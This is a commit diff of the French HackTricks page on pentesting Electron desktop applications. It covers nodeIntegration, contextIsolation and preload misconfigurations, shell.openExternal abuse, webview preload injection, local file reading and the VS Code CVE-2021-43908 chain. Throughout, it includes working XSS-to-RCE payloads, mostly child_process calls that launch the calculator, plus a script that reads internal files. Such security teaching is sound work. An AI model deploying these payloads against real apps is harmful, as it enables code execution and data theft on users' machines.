mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/electron-des
This commit is contained in:
parent
920e3af5cc
commit
7662377be9
@ -6,21 +6,21 @@
|
||||
|
||||
Electron combine un backend local (avec **NodeJS**) et un frontend (**Chromium**), bien qu'il lui manque certains mécanismes de sécurité des navigateurs modernes.
|
||||
|
||||
Généralement, vous pouvez trouver le code de l'application Electron à l'intérieur d'une application `.asar`. Pour obtenir le code, vous devez l'extraire :
|
||||
D'habitude, vous pouvez trouver le code de l'application Electron à l'intérieur d'une application `.asar`. Pour obtenir le code, vous devez l'extraire :
|
||||
```bash
|
||||
npx asar extract app.asar destfolder #Extract everything
|
||||
npx asar extract-file app.asar main.js #Extract just a file
|
||||
```
|
||||
Dans le code source d'une application Electron, dans `packet.json`, vous pouvez trouver le fichier `main.js` où sont définies les configurations de sécurité.
|
||||
Dans le code source d'une application Electron, à l'intérieur de `packet.json`, vous pouvez trouver spécifié le fichier `main.js` où les configurations de sécurité sont définies.
|
||||
```json
|
||||
{
|
||||
"name": "standard-notes",
|
||||
"main": "./app/index.js",
|
||||
```
|
||||
Electron possède 2 types de processus :
|
||||
Electron a 2 types de processus :
|
||||
|
||||
- Main Process (dispose d'un accès complet à NodeJS)
|
||||
- Renderer Process (devrait avoir un accès restreint à NodeJS pour des raisons de sécurité)
|
||||
- Main Process (a un accès complet à NodeJS)
|
||||
- Renderer Process (devrait avoir un accès NodeJS restreint pour des raisons de sécurité)
|
||||
|
||||
.png>)
|
||||
|
||||
@ -32,18 +32,18 @@ let win = new BrowserWindow()
|
||||
//Open Renderer Process
|
||||
win.loadURL(`file://path/to/index.html`)
|
||||
```
|
||||
Les paramètres du **processus de rendu** peuvent être **configurés** dans le **processus principal** du fichier main.js. Certaines configurations empêcheront l'application Electron d'obtenir une RCE ou d'autres vulnérabilités si les **paramètres sont correctement configurés**.
|
||||
Les paramètres du **processus de rendu** peuvent être **configurés** dans le **processus principal** à l'intérieur du fichier main.js. Certaines des configurations permettront d'**empêcher l'application Electron d'obtenir un RCE** ou d'autres vulnérabilités si les **paramètres sont correctement configurés**.
|
||||
|
||||
L'application Electron **pourrait accéder à l'appareil** via les API Node bien qu'elle puisse être configurée pour l'en empêcher :
|
||||
L'application electron **pourrait accéder à l'appareil** via les Node apis bien qu'il soit possible de la configurer pour l'en empêcher :
|
||||
|
||||
- **`nodeIntegration`** - est `off` par défaut. Si activé, permet d'accéder aux fonctionnalités de Node depuis le processus de rendu.
|
||||
- **`nodeIntegration`** - est `off` par défaut. Si `on`, permet d'accéder aux fonctionnalités de Node depuis le processus de rendu.
|
||||
- **`contextIsolation`** - est `on` par défaut. Si `off`, les processus principal et de rendu ne sont pas isolés.
|
||||
- **`preload`** - vide par défaut.
|
||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - est `off` par défaut. Il restreindra les actions que NodeJS peut effectuer.
|
||||
- Intégration Node dans les Workers
|
||||
- **`nodeIntegrationInSubframes`**- est `off` par défaut.
|
||||
- Si **`nodeIntegration`** est **enabled**, cela permettrait l'utilisation des **Node.js APIs** dans les pages web **chargées dans des iframes** au sein d'une application Electron.
|
||||
- Si **`nodeIntegration`** est **disabled**, alors les preloads seront chargés dans l'iframe
|
||||
- Node Integration in Workers
|
||||
- **`nodeIntegrationInSubframes`** - est `off` par défaut.
|
||||
- Si **`nodeIntegration`** est **enabled**, cela permettrait l'utilisation des **Node.js APIs** dans des pages web **chargées dans des iframes** au sein d'une application Electron.
|
||||
- Si **`nodeIntegration`** est **disabled**, alors les preloads se chargeront dans l'iframe
|
||||
|
||||
Exemple de configuration:
|
||||
```javascript
|
||||
@ -103,8 +103,7 @@ Modifiez la configuration start-main et ajoutez l'utilisation d'un proxy tel que
|
||||
```
|
||||
## Electron Local Code Injection
|
||||
|
||||
Si vous pouvez exécuter localement une Electron App, il est possible de la faire exécuter du code javascript arbitraire. Voyez comment dans :
|
||||
|
||||
Si vous pouvez exécuter localement une Electron App, il est possible de lui faire exécuter du code javascript arbitraire. Regardez comment dans :
|
||||
|
||||
{{#ref}}
|
||||
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
|
||||
@ -112,7 +111,7 @@ Si vous pouvez exécuter localement une Electron App, il est possible de la fair
|
||||
|
||||
## RCE: XSS + nodeIntegration
|
||||
|
||||
Si la **nodeIntegration** est réglée sur **on**, le JavaScript d'une page web peut utiliser les fonctionnalités de Node.js facilement simplement en appelant `require()`. Par exemple, la façon d'exécuter l'application calc sur Windows est :
|
||||
Si la **nodeIntegration** est réglée sur **on**, le JavaScript d'une page web peut utiliser facilement les fonctionnalités de Node.js simplement en appelant `require()`. Par exemple, la façon d'exécuter l'application calc sur Windows est :
|
||||
```html
|
||||
<script>
|
||||
require("child_process").exec("calc")
|
||||
@ -124,7 +123,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
|
||||
|
||||
## RCE: preload
|
||||
|
||||
Le script indiqué dans ce réglage est **chargé avant les autres scripts dans le renderer**, il a donc **un accès illimité aux Node APIs** :
|
||||
Le script indiqué dans ce paramètre est **chargé avant les autres scripts dans le renderer**, donc il a **un accès illimité aux Node APIs**:
|
||||
```javascript
|
||||
new BrowserWindow{
|
||||
webPreferences: {
|
||||
@ -133,7 +132,7 @@ preload: _path2.default.join(__dirname, 'perload.js'),
|
||||
}
|
||||
});
|
||||
```
|
||||
Par conséquent, le script peut exporter node-features vers des pages :
|
||||
Par conséquent, le script peut exporter node-features vers des pages:
|
||||
```javascript:preload.js
|
||||
typeof require === "function"
|
||||
window.runCalc = function () {
|
||||
@ -149,20 +148,20 @@ runCalc()
|
||||
</script>
|
||||
</body>
|
||||
```
|
||||
> [!NOTE] > **Si `contextIsolation` est activé, cela ne fonctionnera pas**
|
||||
> [!NOTE] > **Si `contextIsolation` est activé, ceci ne fonctionnera pas**
|
||||
|
||||
## RCE: XSS + contextIsolation
|
||||
|
||||
Le _**contextIsolation**_ introduit les **contextes séparés entre les scripts de la page web et le code interne JavaScript d'Electron** afin que l'exécution JavaScript de chaque code n'affecte pas l'autre. C'est une fonctionnalité nécessaire pour éliminer la possibilité de RCE.
|
||||
Le _**contextIsolation**_ introduit des **contextes séparés entre les scripts de la page web et le code interne JavaScript d'Electron** afin que l'exécution JavaScript de chaque code n'affecte pas l'autre. C'est une fonctionnalité nécessaire pour éliminer la possibilité de RCE.
|
||||
|
||||
Si les contextes ne sont pas isolés, un attaquant peut :
|
||||
|
||||
1. Exécuter **du JavaScript arbitraire dans le renderer** (XSS ou navigation vers des sites externes)
|
||||
2. **Écraser la méthode intégrée** utilisée dans le preload ou le code interne d'Electron pour prendre le contrôle
|
||||
1. Exécuter **arbitrary JavaScript in renderer** (XSS ou navigation vers des sites externes)
|
||||
2. **Écraser la méthode built-in** qui est utilisée dans preload ou le code interne d'Electron pour prendre le contrôle d'une fonction
|
||||
3. **Déclencher** l'utilisation de la **fonction écrasée**
|
||||
4. RCE?
|
||||
|
||||
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
|
||||
Il y a 2 endroits où les méthodes intégrées peuvent être écrasées : dans le code preload ou dans le code interne d'Electron :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -179,9 +178,9 @@ electron-contextisolation-rce-via-electron-internal-code.md
|
||||
electron-contextisolation-rce-via-ipc.md
|
||||
{{#endref}}
|
||||
|
||||
### Bypass click event
|
||||
### Contourner l'événement de click
|
||||
|
||||
S'il y a des restrictions appliquées lorsque vous cliquez sur un lien, vous pourrez peut-être les contourner **en effectuant un clic du milieu** au lieu d'un clic gauche classique
|
||||
S'il y a des restrictions appliquées lorsque vous cliquez sur un lien, vous pouvez peut-être les contourner **en effectuant un clic du milieu** au lieu d'un clic gauche classique.
|
||||
```javascript
|
||||
window.addEventListener('click', (e) => {
|
||||
```
|
||||
@ -189,24 +188,24 @@ window.addEventListener('click', (e) => {
|
||||
|
||||
Pour plus d'informations sur ces exemples, consultez [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) et [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
|
||||
|
||||
Lors du déploiement d'une application desktop Electron, s'assurer des bons paramètres pour `nodeIntegration` et `contextIsolation` est crucial. Il est établi que **client-side remote code execution (RCE)** ciblant les preload scripts ou le native code d'Electron depuis le main process est efficacement empêché lorsque ces paramètres sont en place.
|
||||
Lors du déploiement d'une application de bureau Electron, s'assurer des paramètres corrects pour `nodeIntegration` et `contextIsolation` est crucial. Il est établi que **client-side remote code execution (RCE)** ciblant les preload scripts ou le native code d'Electron depuis le main process est effectivement empêché lorsque ces paramètres sont en place.
|
||||
|
||||
Lorsque l'utilisateur interagit avec des liens ou ouvre de nouvelles fenêtres, des event listeners spécifiques sont déclenchés, qui sont cruciaux pour la sécurité et le fonctionnement de l'application :
|
||||
Lorsqu'un utilisateur interagit avec des liens ou ouvre de nouvelles fenêtres, des event listeners spécifiques sont déclenchés, qui sont cruciaux pour la sécurité et le fonctionnement de l'application :
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {}
|
||||
webContents.on("will-navigate", function (event, url) {}
|
||||
```
|
||||
Ces gestionnaires d'événements sont **surchargés par l'application de bureau** pour implémenter sa propre **logique métier**. L'application évalue si un lien navigué doit être ouvert en interne ou dans un navigateur web externe. Cette décision est généralement prise via une fonction, `openInternally`. Si cette fonction retourne `false`, cela indique que le lien doit être ouvert en externe, en utilisant la fonction `shell.openExternal`.
|
||||
These listeners are **overridden by the desktop application** to implement its own **business logic**. The application evaluates whether a navigated link should be opened internally or in an external web browser. This decision is typically made through a function, `openInternally`. If this function returns `false`, it indicates that the link should be opened externally, utilizing the `shell.openExternal` function.
|
||||
|
||||
**Here is a simplified pseudocode:**
|
||||
**Voici un pseudocode simplifié :**
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
Les bonnes pratiques de sécurité Electron JS déconseillent d'accepter du contenu non fiable avec la fonction `openExternal`, car cela pourrait mener à du RCE via différents protocoles. Les systèmes d'exploitation prennent en charge divers protocoles susceptibles de déclencher du RCE. Pour des exemples détaillés et des explications supplémentaires sur ce sujet, on peut se référer à [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), qui inclut des exemples de protocoles Windows capables d'exploiter cette vulnérabilité.
|
||||
Les bonnes pratiques de sécurité d'Electron JS déconseillent d'accepter du contenu non fiable avec la fonction `openExternal`, car cela pourrait mener à une RCE via divers protocoles. Les systèmes d'exploitation prennent en charge différents protocoles pouvant déclencher une RCE. Pour des exemples détaillés et des explications supplémentaires sur ce sujet, on peut consulter [cette ressource](https://positive.security/blog/url-open-rce#windows-10-19042), qui inclut des exemples de protocoles Windows capables d'exploiter cette vulnérabilité.
|
||||
|
||||
Dans macos, la fonction `openExternal` peut être exploitée pour exécuter des commandes arbitraires comme dans `shell.openExternal('file:///System/Applications/Calculator.app')`.
|
||||
Sur macos, la fonction `openExternal` peut être exploitée pour exécuter des commandes arbitraires, par exemple `shell.openExternal('file:///System/Applications/Calculator.app')`.
|
||||
|
||||
**Exemples d'exploits de protocoles Windows incluent :**
|
||||
```html
|
||||
@ -228,17 +227,17 @@ window.open(
|
||||
)
|
||||
</script>
|
||||
```
|
||||
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
|
||||
## RCE: webviewTag + IPC preload vulnérable + shell.openExternal
|
||||
|
||||
Cette vulnérabilité est décrite dans **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
|
||||
Cette vulnérabilité se trouve dans **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
|
||||
|
||||
La **webviewTag** est une **fonctionnalité dépréciée** qui permet l'utilisation de **NodeJS** dans le **renderer process**, qui devrait être désactivée car elle permet de charger un script dans le preload context comme:
|
||||
Le **webviewTag** est une **fonctionnalité obsolète** qui permet l'utilisation de **NodeJS** dans le **processus de rendu**, elle devrait être désactivée car elle permet de charger un script dans le contexte preload comme :
|
||||
```xml
|
||||
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
|
||||
```
|
||||
Ainsi, un attaquant qui parvient à charger une page arbitraire pourrait utiliser cette balise pour **charger un script de préchargement arbitraire**.
|
||||
Par conséquent, un attaquant qui parvient à charger une page arbitraire pourrait utiliser cette balise pour **charger un preload script arbitraire**.
|
||||
|
||||
Ce script de préchargement a ensuite été abusé pour appeler un **service IPC vulnérable (`skype-new-window`)** qui appelait **`shell.openExternal`** pour obtenir une RCE:
|
||||
Ce preload script a ensuite été détourné pour appeler un **service IPC vulnérable (`skype-new-window`)** qui appelait **`shell.openExternal`** afin d'obtenir RCE :
|
||||
```javascript
|
||||
(async() => {
|
||||
const { ipcRenderer } = require("electron");
|
||||
@ -249,13 +248,13 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
|
||||
}, 5000);
|
||||
})();
|
||||
```
|
||||
## Lecture de fichiers internes : XSS + contextIsolation
|
||||
## Lecture des fichiers internes : XSS + contextIsolation
|
||||
|
||||
**La désactivation de `contextIsolation` permet d'utiliser des balises `<webview>`**, similaires à `<iframe>`, pour lire et exfiltrer des fichiers locaux. Un exemple montre comment exploiter cette vulnérabilité pour lire le contenu de fichiers internes :
|
||||
**Désactiver `contextIsolation` permet l'utilisation des balises `<webview>`**, similaires à `<iframe>`, pour lire et exfiltrating des fichiers locaux. Un exemple fourni montre comment exploiter cette vulnérabilité pour lire le contenu des fichiers internes :
|
||||
|
||||
.png>)
|
||||
|
||||
De plus, une autre méthode pour **lire un fichier interne** est présentée, mettant en évidence une vulnérabilité critique de lecture de fichiers locaux dans une Electron desktop app. Cela implique d'injecter un script pour exploiter l'application et exfiltrer des données :
|
||||
De plus, une autre méthode pour **lire un fichier interne** est présentée, mettant en évidence une vulnérabilité critique de lecture de fichier local dans une Electron desktop app. Cela implique d'injecter un script pour exploiter l'application et exfiltrate des données :
|
||||
```html
|
||||
<br /><br /><br /><br />
|
||||
<h1>
|
||||
@ -271,23 +270,23 @@ frames[0].document.body.innerText
|
||||
</script>
|
||||
</h1>
|
||||
```
|
||||
## **RCE : XSS + Chromium ancien**
|
||||
## **RCE: XSS + Old Chromium**
|
||||
|
||||
Si le **chromium** utilisé par l'application est **ancien** et qu'il existe des **vulnérabilités** **connues** le concernant, il pourrait être possible de **l'exploiter et obtenir RCE via un XSS**.\
|
||||
Si le **chromium** utilisé par l'application est **ancien** et qu'il existe des **vulnérabilités** **connues** le concernant, il peut être possible de **l'exploiter et d'obtenir une RCE via un XSS**.\
|
||||
Vous pouvez voir un exemple dans ce **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
||||
|
||||
## **XSS Phishing via Internal URL regex bypass**
|
||||
|
||||
Supposons que vous ayez trouvé une XSS mais que vous **ne puissiez pas déclencher RCE ni voler des fichiers internes**, vous pouvez essayer de l'utiliser pour **voler des identifiants via phishing**.
|
||||
Si vous avez trouvé une XSS mais que vous **ne pouvez pas déclencher une RCE ni voler des fichiers internes**, vous pouvez essayer de l'utiliser pour **voler des identifiants via phishing**.
|
||||
|
||||
Tout d'abord, vous devez savoir ce qui se passe lorsque vous essayez d'ouvrir une nouvelle URL, en vérifiant le code JS du front-end :
|
||||
Tout d'abord, vous devez savoir ce qui se passe lorsque vous essayez d'ouvrir une nouvelle URL, en vérifiant le code JS du front-end:
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
|
||||
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
|
||||
```
|
||||
L'appel à **`openInternally`** décidera si le **link** sera **ouvert** dans la **desktop window** car il s'agit d'un lien appartenant à la plateforme, **ou** s'il sera ouvert dans le **browser as a 3rd party resource**.
|
||||
L'appel à **`openInternally`** déterminera si le **link** sera **opened** dans la **desktop window**, car il s'agit d'un link appartenant à la plateforme, **or** s'il sera ouvert dans le **browser as a 3rd party resource**.
|
||||
|
||||
Dans le cas où le **regex** utilisé par la fonction est **vulnérable aux contournements** (par exemple en **n'échappant pas les points des sous-domaines**) un attaquant pourrait abuser du XSS pour **ouvrir une nouvelle fenêtre qui** sera située dans l'infrastructure de l'attaquant **demandant des identifiants** à l'utilisateur :
|
||||
Dans le cas où le **regex** utilisé par la fonction est **vulnerable to bypasses** (par exemple en **not escaping the dots of subdomains**), un attaquant pourrait abuser de la XSS pour **open a new window which** qui sera située dans l'infrastructure de l'attaquant et **asking for credentials** à l'utilisateur :
|
||||
```html
|
||||
<script>
|
||||
window.open("<http://subdomainagoogleq.com/index.html>")
|
||||
@ -295,21 +294,21 @@ window.open("<http://subdomainagoogleq.com/index.html>")
|
||||
```
|
||||
## `file://` Protocole
|
||||
|
||||
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** have unilateral access to every file on your machine meaning that **XSS issues can be used to load arbitrary files** from the users machine. Using a **protocole personnalisé** prevents issues like this as you can limit the protocol to only serving a specific set of files.
|
||||
Comme indiqué dans [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols), les pages exécutées sur **`file://`** ont un accès unilatéral à tous les fichiers de votre machine, ce qui signifie que des **XSS issues peuvent être utilisées pour charger des fichiers arbitraires** depuis la machine de l'utilisateur. L'utilisation d'un **protocole personnalisé** prévient ce type de problèmes en vous permettant de limiter le protocole à la fourniture d'un ensemble spécifique de fichiers.
|
||||
|
||||
## Remote module
|
||||
|
||||
The Electron Remote module allows **renderer processes to access main process APIs**, facilitating communication within an Electron application. However, enabling this module introduces significant security risks. It expands the application's attack surface, making it more susceptible to vulnerabilities such as cross-site scripting (XSS) attacks.
|
||||
Le Remote module d'Electron permet aux **processus de rendu d'accéder aux API du processus principal**, facilitant la communication au sein d'une application Electron. Cependant, l'activation de ce module introduit des risques de sécurité importants. Il élargit la surface d'attaque de l'application, la rendant plus susceptible à des vulnérabilités telles que les cross-site scripting (XSS) attacks.
|
||||
|
||||
> [!TIP]
|
||||
> Bien que le module **remote** expose certaines APIs du main vers les renderer processes, il n'est pas simple d'obtenir une RCE simplement en abusant des composants. Cependant, les composants peuvent exposer des informations sensibles.
|
||||
> Bien que le module **remote** expose certaines API du main vers les renderer processes, il n'est pas trivial d'obtenir une RCE uniquement en abusant des composants. Cependant, ces composants peuvent exposer des informations sensibles.
|
||||
|
||||
> [!WARNING]
|
||||
> Beaucoup d'apps qui utilisent encore le remote module le font d'une façon qui **exige que NodeIntegration soit activé** dans le renderer process, ce qui représente un **énorme risque de sécurité**.
|
||||
> De nombreuses applications qui utilisent encore le module remote le font d'une manière qui **requiert que NodeIntegration soit activé** dans le renderer process, ce qui constitue un **énorme risque de sécurité**.
|
||||
|
||||
Since Electron 14 the `remote` module of Electron might be enabled in several steops cause due to security and performance reasons it's **recommended to not use it**.
|
||||
Depuis Electron 14, le module `remote` d'Electron peut être activé de plusieurs manières ; pour des raisons de sécurité et de performance, il est **recommandé de ne pas l'utiliser**.
|
||||
|
||||
To enable it, it'd first needed to **enable it in the main process**:
|
||||
Pour l'activer, il faut d'abord **l'activer dans le main process** :
|
||||
```javascript
|
||||
const remoteMain = require('@electron/remote/main')
|
||||
remoteMain.initialize()
|
||||
@ -320,37 +319,37 @@ mainWindow = new BrowserWindow({
|
||||
})
|
||||
remoteMain.enable(mainWindow.webContents)
|
||||
```
|
||||
Ensuite, le renderer process peut importer des objets depuis le module qu'il souhaite :
|
||||
Ensuite, le processus de rendu peut importer des objets depuis le module comme ceci :
|
||||
```javascript
|
||||
import { dialog, getCurrentWindow } from '@electron/remote'
|
||||
```
|
||||
La **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** indique quelques **fonctions** intéressantes exposées par l'objet **`app`** du module remote :
|
||||
Le **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** indique quelques **fonctions** intéressantes exposées par l'objet **`app`** du module remote:
|
||||
|
||||
- **`app.relaunch([options])`**
|
||||
- **Redémarre** l'application en **quittant** l'instance courante et en **lançant** une nouvelle. Utile pour les **mises à jour de l'application** ou des **changements d'état** significatifs.
|
||||
- **Redémarre** l'application en **quittant** l'instance courante et en **lançant** une nouvelle. Utile pour les **mises à jour de l'application** ou des **changements d'état** importants.
|
||||
- **`app.setAppLogsPath([path])`**
|
||||
- **Définit** ou **crée** un répertoire pour stocker les **journaux de l'application**. Les journaux peuvent être **récupérés** ou **modifiés** en utilisant **`app.getPath()`** ou **`app.setPath(pathName, newPath)`**.
|
||||
- **Définit** ou **crée** un répertoire pour stocker les **app logs**. Les logs peuvent être **récupérés** ou **modifiés** en utilisant **`app.getPath()`** ou **`app.setPath(pathName, newPath)`**.
|
||||
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
|
||||
- **Enregistre** l'exécutable courant comme **gestionnaire par défaut** pour un **protocole** spécifié. Vous pouvez fournir un **chemin personnalisé** et des **arguments** si nécessaire.
|
||||
- **Enregistre** l'exécutable courant comme le **gestionnaire par défaut** pour un **protocole** spécifié. Vous pouvez fournir un **chemin personnalisé** et des **arguments** si besoin.
|
||||
- **`app.setUserTasks(tasks)`**
|
||||
- **Ajoute** des tâches à la **Tasks category** dans la **Jump List** (sur Windows). Chaque tâche peut contrôler comment l'application est **lancée** ou quels **arguments** sont passés.
|
||||
- **Ajoute** des tâches à la **catégorie Tasks** dans la **Jump List** (sur Windows). Chaque tâche peut contrôler comment l'app est **lancée** ou quels **arguments** sont passés.
|
||||
- **`app.importCertificate(options, callback)`**
|
||||
- **Importe** un **PKCS#12 certificate** dans le **certificate store** du système (Linux uniquement). Un **callback** peut être utilisé pour gérer le résultat.
|
||||
- **Importe** un **certificat PKCS#12** dans le **magasin de certificats** du système (Linux uniquement). Un **callback** peut être utilisé pour traiter le résultat.
|
||||
- **`app.moveToApplicationsFolder([options])`**
|
||||
- **Déplace** l'application vers le **Applications folder** (sur macOS). Aide à garantir une **installation standard** pour les utilisateurs Mac.
|
||||
- **Déplace** l'application vers le **dossier Applications** (sur macOS). Aide à garantir une **installation standard** pour les utilisateurs Mac.
|
||||
- **`app.setJumpList(categories)`**
|
||||
- **Définit** ou **supprime** une **Jump List** personnalisée sur **Windows**. Vous pouvez spécifier des **catégories** pour organiser l'apparence des tâches pour l'utilisateur.
|
||||
- **Définit** ou **supprime** une **Jump List personnalisée** sur **Windows**. Vous pouvez préciser des **catégories** pour organiser la manière dont les tâches apparaissent à l'utilisateur.
|
||||
- **`app.setLoginItemSettings(settings)`**
|
||||
- **Configure** quels **exécutables** se lancent à la **connexion** ainsi que leurs **options** (macOS et Windows uniquement).
|
||||
- **Configure** quels **exécutables** se lancent à la **connexion** ainsi que leurs **options** (uniquement macOS et Windows).
|
||||
|
||||
Exemple:
|
||||
Example:
|
||||
```javascript
|
||||
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
|
||||
Native.app.exit()
|
||||
```
|
||||
## systemPreferences module
|
||||
|
||||
L'**API principale** pour accéder aux préférences système et **émettre des événements système** dans Electron. Des méthodes comme **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, et **setUserDefault** sont toutes **parties de** ce module.
|
||||
L'**API principale** pour accéder aux préférences système et **émettre des événements système** dans Electron. Des méthodes comme **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, et **setUserDefault** font toutes **partie de** ce module.
|
||||
|
||||
**Exemple d'utilisation :**
|
||||
```javascript
|
||||
@ -368,30 +367,30 @@ console.log('Recent Places:', recentPlaces);
|
||||
### **subscribeNotification / subscribeWorkspaceNotification**
|
||||
|
||||
* **Écoute** les **notifications macOS natives** en utilisant NSDistributedNotificationCenter.
|
||||
* Avant **macOS Catalina**, vous pouviez sniff **toutes** les distributed notifications en passant **nil** à CFNotificationCenterAddObserver.
|
||||
* Après **Catalina / Big Sur**, les apps **sandboxed** peuvent toujours **s'abonner** à **nombreux événements** (par exemple, **verrouillage/déverrouillage d'écran**, **montages de volumes**, **activité réseau**, etc.) en enregistrant des notifications **par nom**.
|
||||
* Avant **macOS Catalina**, vous pouviez sniff **toutes** les notifications distribuées en passant **nil** à CFNotificationCenterAddObserver.
|
||||
* Après **Catalina / Big Sur**, les apps sandboxées peuvent encore **s'abonner** à de **nombreux événements** (par exemple, **verrouillages/déverrouillages d'écran**, **montages de volumes**, **activité réseau**, etc.) en enregistrant des notifications **par nom**.
|
||||
|
||||
### **getUserDefault / setUserDefault**
|
||||
|
||||
* **S'interface** avec **NSUserDefaults**, qui stocke les préférences **application** ou **globales** sur macOS.
|
||||
* **Interagit** avec **NSUserDefaults**, qui stocke les préférences **application** ou **globales** sur macOS.
|
||||
|
||||
* **getUserDefault** peut **récupérer** des informations sensibles, telles que les **emplacements de fichiers récents** ou la **localisation géographique** de l'utilisateur.
|
||||
* **getUserDefault** peut **récupérer** des informations sensibles, telles que les **emplacements de fichiers récents** ou la **localisation géographique de l'utilisateur**.
|
||||
|
||||
* **setUserDefault** peut **modifier** ces préférences, affectant potentiellement la **configuration** d'une app.
|
||||
* **setUserDefault** peut **modifier** ces préférences, affectant potentiellement la **configuration** d'une application.
|
||||
|
||||
* Dans les **anciennes versions d'Electron** (avant v8.3.0), seule la **suite standard** de NSUserDefaults était **accessible**.
|
||||
|
||||
## Shell.showItemInFolder
|
||||
|
||||
This function shows the given file in a file manager, which **could automatically execute the file**.
|
||||
Cette fonction affiche le fichier donné dans un gestionnaire de fichiers, ce qui **pourrait exécuter automatiquement le fichier**.
|
||||
|
||||
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
||||
|
||||
## Content Security Policy
|
||||
|
||||
Les apps Electron devraient avoir une **Content Security Policy (CSP)** pour **prévenir les attaques XSS**. La **CSP** est une **norme de sécurité** qui aide à **empêcher** l'**exécution** de **code non fiable** dans le navigateur.
|
||||
Les applications Electron devraient avoir une **Content Security Policy (CSP)** pour **empêcher les attaques XSS**. La **CSP** est une **norme de sécurité** qui aide à **empêcher** l'**exécution** de **code non approuvé** dans le navigateur.
|
||||
|
||||
Elle est généralement **configurée** dans le fichier **`main.js`** ou dans le template **`index.html`** avec la CSP dans une **balise meta**.
|
||||
Elle est généralement **configurée** dans le fichier **`main.js`** ou dans le template **`index.html`** avec la CSP à l'intérieur d'une **meta tag**.
|
||||
|
||||
For more information check:
|
||||
|
||||
@ -401,18 +400,41 @@ pentesting-web/content-security-policy-csp-bypass/
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## **Tools**
|
||||
## RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)
|
||||
|
||||
Cette chaîne réelle a affecté Visual Studio Code 1.63 (CVE-2021-43908) et démontre comment un seul XSS piloté par du markdown dans un webview peut être escaladé en RCE complet lorsque la CSP, postMessage et les handlers de scheme sont mal configurés. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
|
||||
|
||||
Attack chain overview
|
||||
- First XSS via webview CSP: The generated CSP included `style-src 'self' 'unsafe-inline'`, allowing inline/style-based injection in a `vscode-webview://` context. The payload beaconed to `/stealID` to exfiltrate the target webview’s extensionId.
|
||||
- Constructing target webview URL: En utilisant le leaked ID pour construire `vscode-webview://<extensionId>/.../<publicUrl>`.
|
||||
- Second XSS via postMessage trust: Le webview externe faisait confiance à `window.postMessage` sans vérifications strictes d'origin/type et chargeait du HTML attaquant avec `allowScripts: true`.
|
||||
- Local file loading via scheme/path rewriting: Le payload réécrivait `file:///...` en `vscode-file://vscode-app/...` et remplaçait `exploit.md` par `RCE.html`, abusant d'une validation de chemin faible pour charger une ressource locale privilégiée.
|
||||
- RCE in Node-enabled context: Le HTML chargé s'exécutait avec les API Node disponibles, permettant l'exécution de commandes OS.
|
||||
|
||||
Example RCE primitive in the final context
|
||||
```js
|
||||
// RCE.html (executed in a Node-enabled webview context)
|
||||
require('child_process').exec('calc.exe'); // Windows
|
||||
require('child_process').exec('/System/Applications/Calculator.app'); // macOS
|
||||
```
|
||||
Lectures complémentaires sur les problèmes de confiance liés à postMessage :
|
||||
|
||||
{{#ref}}
|
||||
../../../pentesting-web/postmessage-vulnerabilities/README.md
|
||||
{{#endref}}
|
||||
|
||||
## **Outils**
|
||||
|
||||
- [**Electronegativity**](https://github.com/doyensec/electronegativity) est un outil pour identifier les mauvaises configurations et les anti-patterns de sécurité dans les applications basées sur Electron.
|
||||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) est un plugin VS Code open source pour les applications Electron qui utilise Electronegativity.
|
||||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) est une extension open source pour VS Code destinée aux applications Electron qui utilise Electronegativity.
|
||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) pour vérifier les bibliothèques tierces vulnérables
|
||||
- [**Electro.ng**](https://electro.ng/): il faut l'acheter
|
||||
- [**Electro.ng**](https://electro.ng/): Vous devez l'acheter
|
||||
|
||||
## Labs
|
||||
## Laboratoires
|
||||
|
||||
In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) you can find a lab to exploit vulnerable Electron apps.
|
||||
